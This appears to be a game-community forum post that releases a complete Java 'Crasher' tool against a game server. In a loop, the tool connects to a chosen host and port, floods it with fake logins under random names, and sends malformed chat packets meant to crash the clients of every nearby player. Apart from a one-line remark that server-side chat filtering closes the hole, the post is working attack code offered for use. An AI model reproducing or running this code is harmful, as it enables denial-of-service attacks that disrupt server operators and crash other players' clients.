Eh, I lack reason to keep this so here it is. The simple fix is filtering a player's chat through the server. If you don't want to make the switch to my nio based one then just rip the filtering from it which will completely remove this exploit in the client.
This will send invalid chat characters which will crash everyone who is within viewing distance on the login spot. You can break down on this by choosing a specific username so that you can stand anywhere. Nuf said.
Code:
import java.io.*;
import java.net.*;
import java.util.*;
public class Crasher {
public static int writeOffset = 0;
public static byte[] buffer = new byte[15000];
public static List<Socket> sockets = new ArrayList<Socket>();
public static List<Socket> removes = new ArrayList<Socket>();
public static void main(String[] args) {
int count = 0;
if (args.length < 2) {
System.out.println("java Crasher -server -port");
System.exit(0);
}
while (true) {
try {
writeOffset = 0;
writeByte(14);
writeByte(0);
writeByte(16);
int start = writeOffset;
writeShort(0);
writeInt(508);
writeOffset += 29;
writeString("" + random(19537843));
writeOffset += 117;
writeByte(10);
writeOffset += 16;
writeLong(stringToLong(getRandomName() + random(100) + "" + random(100) + "" + random(100)));
writeString("plzlovemeh" + random(100));
writeShortAt(start, writeOffset - start - 2);
Socket s = new Socket(args[0], Integer.parseInt(args[1]));
s.setTcpNoDelay(true);
s.setKeepAlive(true);
s.setReuseAddress(true);
s.getOutputStream().write(buffer, 0, writeOffset);
int i = s.getInputStream().read();
System.out.println("Flood count: " + ++count);
sockets.add(s);
} catch (Exception e) {
e.printStackTrace();
}
for (Socket s : sockets) {
try {
writeOffset = 0;
writeByte(222);
writeShort(0);
writeByte(3);
writeByte(4);
writeByte(8);
writeByte(0);
s.getOutputStream().write(buffer, 0, writeOffset);
} catch (Exception e) {
removes.add(s);
e.printStackTrace();
}
}
for (Socket s : removes) {
sockets.remove(s);
}
removes.clear();
try {
Thread.sleep(1000);
} catch (Exception e) {
e.printStackTrace();
}
}
}
public static long stringToLong(String s) {
long l = 0L;
for (int i = 0; i < s.length() && i < 12; i++) {
char c = s.charAt(i);
l *= 37L;
if (c >= 'A' && c <= 'Z')
l += (1 + c) - 65;
else if (c >= 'a' && c <= 'z')
l += (1 + c) - 97;
else if (c >= '0' && c <= '9')
l += (27 + c) - 48;
}
for (; l % 37L == 0L && l != 0L; l /= 37L);
return l;
}
public static String getRandomName() {
int id = random(20);
if (id == 4) {
return "pl0xurlover";
} else if (id == 5) {
return "omfgbbqx";
} else if (id == 6) {
return "palilove";
} else if (id == 7) {
return "sqwarrior";
} else if (id == 8) {
return "ffs";
} else if (id == 9) {
return "batman";
} else if (id == 10) {
return "superman";
} else if (id == 11) {
return "pk";
} else if (id == 12) {
return "chat";
} else if (id == 13) {
return "sparta";
} else if (id == 14) {
return "doggy";
} else if (id == 15) {
return "admin";
} else if (id == 16) {
return "littleboy";
} else {
return "random";
}
}
public static int random(int range) {
return (int)(Math.random() * (range + 1));
}
public static void writeByte(int i) {
buffer[writeOffset++] = (byte) i;
}
public static void writeByte(int index, int i) {
buffer[index] = (byte) i;
}
public static void writeInt(int i) {
writeByte(i >> 24);
writeByte(i >> 16);
writeByte(i >> 8);
writeByte(i);
}
public static void writeShort(int i) {
writeByte(i >> 8);
writeByte(i);
}
public static void writeShortAt(int index, int i) {
writeByte(index++, i >> 8);
writeByte(index, i);
}
public static void writeString(String s) {
System.arraycopy(s.getBytes(), 0, buffer, writeOffset, s.length());
writeOffset += s.length();
writeByte(0);
}
public static void writeLong(long l) {
writeByte((int) (l >> 56));
writeByte((int) (l >> 48));
writeByte((int) (l >> 40));
writeByte((int) (l >> 32));
writeByte((int) (l >> 24));
writeByte((int) (l >> 16));
writeByte((int) (l >> 8));
writeByte((int) l);
}
}